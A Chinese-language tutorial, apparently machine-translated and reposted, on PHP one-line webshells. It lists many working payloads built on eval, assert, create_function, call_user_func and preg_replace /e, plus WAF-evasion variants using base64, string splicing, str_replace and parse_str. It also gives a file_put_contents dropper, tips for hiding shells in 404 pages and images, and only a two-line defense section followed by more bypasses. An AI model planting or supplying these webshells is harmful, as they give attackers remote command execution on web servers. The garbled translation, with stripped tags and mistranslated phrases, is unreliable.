本文主要介绍php的木马转化技巧。对此感兴趣的同学可以参考一下。
目录
一、什么是木马?二。我们如何发送命令,如何执行发送的命令?0.eval函数1.assert函数2.create_function函数3 .call_user_func回调函数4.preg_replace函数5。file_put_contents函数6 .数组数组7.PHP变量函数3 .如何让木马绕过waf?1.PHP变量2.str_replace函数3。base64_decode函数4。''运算符5.parse_str函数6 .更改数据源7。字符替换或特殊编码。特洛伊木马隐藏4。总结5。防卫
一、什么是一句话木马?
总之,木马就是只需要一行代码的木马。只需要一行代码,就可以实现和马来西亚一样的功能。为了绕过waf的检测,一句话,木马有无数种变换,但本质是一样的:木马的功能是执行我们发出的命令。
二、我们如何发送命令,发送的命令如何执行?
我们可以通过三种方式向网站提交数据:GET、POST、COOKIE。一句话,木马通过使用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我们传递的数据,然后将接收到的数据传递给木马中执行命令的函数,从而执行命令。所以大多数经典的木马只有两个部分,一个是可以执行代码的功能部分,一个是接收数据的部分。
0.eval函数
?php eval($_POST['a'])?
其中eval是执行命令的函数,* * * $ _ post[' a ']* *是接收到的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就可以让插入了木马的网站执行我们传递的任何PHP语句。这就是特洛伊木马的力量。
因为木马在post请求中接收到“A”的数据($ _ post ['A']),所以我们要通过post方法发送数据,并把要执行的代码赋给“A”。如果将木马中的post替换为get,那么我们需要通过GET方法发送“A”,
用其他函数做一个一句话的木马
1.assert函数
?PHP assert(@ $ _ POST[' a ']);
2.create_function函数
?php$fun=create_function(' ',$ _ POST[' a ']);$ fun();
从用户传递的数据中生成一个函数fun(),然后执行fun()
3. call_user_func回调函数
?php@call_user_func(assert,$ _ POST[' a ']);
call_user_func这个函数可以调用其他函数。被调用函数是call_user_func的第一个函数,被调用函数的参数是call_user_func的第二个参数。
这样的语句也可以完成一个特洛伊木马。waf拦截的部分木马可以配合该功能绕过waf。
4.preg_replace函数
?php@preg_replace('/abcde/e ',$_POST['a'],' abcdefg ');
这个函数本来是用正则表达式替换限定字符串的,但是这个函数有一个——可执行命令的函数。
这个函数的第一个参数是一个正则表达式。根据PHP格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。
5. file_put_contents函数
通过函数生成特洛伊木马
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
$test='?PHP $ a=$ _ POST[' cmd '];断言($ a);';
file_put_contents('Trojan.php ',$ test);
?
函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。
6.array数组
?php $ a=' assertarray_map('$a ',$ _ REQUEST);
定义上述参数A并赋值“assert”,使用array_map()函数拼接执行语句。最后实现assert($_REQUEST)。
?PHP $ item[' JON ']=' assert ';$ array[]=$ item;$ array[0][' JON ']($ _ POST[' TEST ']);
利用函数的组合效果,将多个参数组合成一个命令,传递后执行。
7.PHP变量函数
?php $ a=' eval$ a(@ $ _ POST[' a ']);
第三个练习使用变量function $a,变量存储函数名eval,所以可以直接用变量替换函数名。
三、如何让一句话木马绕过waf ?
Waf是网站的防火墙。例如,安全狗是一种晶片。Waf通常通过关键词来判断是否是一字木马,但是一字木马的变种很多,waf根本无法全部拦截。想要绕过waf,需要掌握各种PHP技能,而且你的技能比较多。结合技巧设计自己的木马。
1.PHP可变变量
?php $ bb=' eval$ aa=' bb$ $ aa($ _ POST[' a ']);
看看这句话就明白上面的说法了:$ $ AA=(((AA)=$ ('BB')=$ BB="eval "
2.str_replace函数
?php$a=str_replace('Waldo ','',' eWaldoval ');$ a(@ $ _ POST[' a ']);
函数:在第三个参数中,找到第一个参数,用第二个参数替换。这里的第二个参数是一个空字符串,相当于删除了' Waldo '。
3. base64_decode函数
?PHP $ a=base64 _ decode(' ZXZhbA==')$ a($ _ POST[' a ']);
这里是base64解密函数,' ZXZhbA=='是eval的base64加密。
4."."操作符
?php$a='e '。v’;$b='a '。l’;$ c=$ a . $ b;$ c($ _ POST[' a ']);
5.parse_str函数
?php $ str=' a=evalparse _ str($ str);$ a($ _ POST[' a ']);
执行该函数后,将生成一个变量$a,其值为字符串' eval '
6.更换数据来源
6.1获取文章
?PHP $ _ GET[a]($ _ GET[b]);
?php @eval( $_GET[$_GET[b]])
使用方法:
b=cmdcmd=phpinfo()
6.2用脚本代替?标签
script language=' PHP ' @ eval _ r($ _ GET[b])/script
6.3使用会话
7.字符替换或特殊编码
8.木马藏匿
1.404页
2.图片木马,调用与文件包含。
四、总结
旁路技术:
更改执行数据源
字符替换或编码
采取隐蔽措施。
tips:使用一句话木马时,可以在函数前加一个“@”符号。这个符号使得php语句不显示错误信息,增加了隐蔽性。
五、防御
1.禁用assert()函数并监控eval()
2.断言搜索日志。
也可以绕过:
?php $c=$_GET[n]。t’;@ $ c($ _ POST[cmd]);
?php $c=base64_decode('YXNzZXI=')。$_GET[n]。t’;@ $ c($ _ POST[cmd]);
以上是php一句话木马改造技巧的详细内容。更多关于php的一句话木马改造技巧,请关注我们的其他相关文章!
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。